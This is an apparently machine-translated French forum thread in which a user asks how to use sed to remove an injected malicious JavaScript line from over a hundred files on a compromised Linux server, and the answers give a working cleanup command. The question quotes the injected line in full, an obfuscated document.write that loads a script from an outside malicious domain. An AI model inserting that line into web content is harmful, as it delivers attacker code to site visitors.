2010-10-31 35 views
0

Récemment, mon serveur linux a été infecté par des logiciels malveillants et par conséquent, je 100+ les fichiers infectés par une seule ligne de code Javascript:Comment faire pour supprimer un Malicious code Javascript à partir de fichiers multiples

document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>'); 

Je serais trop fatigant pour l'enlever manuellement, donc je creuse dans google (ne sachant pas grand-chose sur Linux n'a pas aidé là-bas) et a découvert que je peux utiliser sed à cet effet.

Malheureusement, je ne pouvais pas échapper à la ligne que je puisse utiliser

sed -i.bak '/line of text/d' * 
syntaxe

, il est plein de guillemets simples, des guillemets doubles et antislashs. Comment puis-je échapper la corde ou y a-t-il une autre façon - plus facile - de le faire?

+0

Ce sont des barres obliques, par ailleurs, plutôt que antislashs et vous pouvez utiliser délimiteurs dans d'autres 'sed' si vous n » Je dois faire autant d'évasion. 'sed '\ text/avec/slashes | d''. Malheureusement, les citations sont une autre affaire. –

Répondre

1

Pourriez-vous simplement utiliser sed pour supprimer toute ligne contenant, par exemple, alienradar.ru, ou une autre sous-chaîne qui n'existe que dans les lignes offensives? Quelque chose comme:

sed -i.bak '/alienradar.ru/d' * 
+0

+ 1 m'a envoyé à la poste :) – Philar

+0

Ouais merci, cela a fonctionné :) –

+0

Puis-je également obtenir une liste des fichiers affectés? –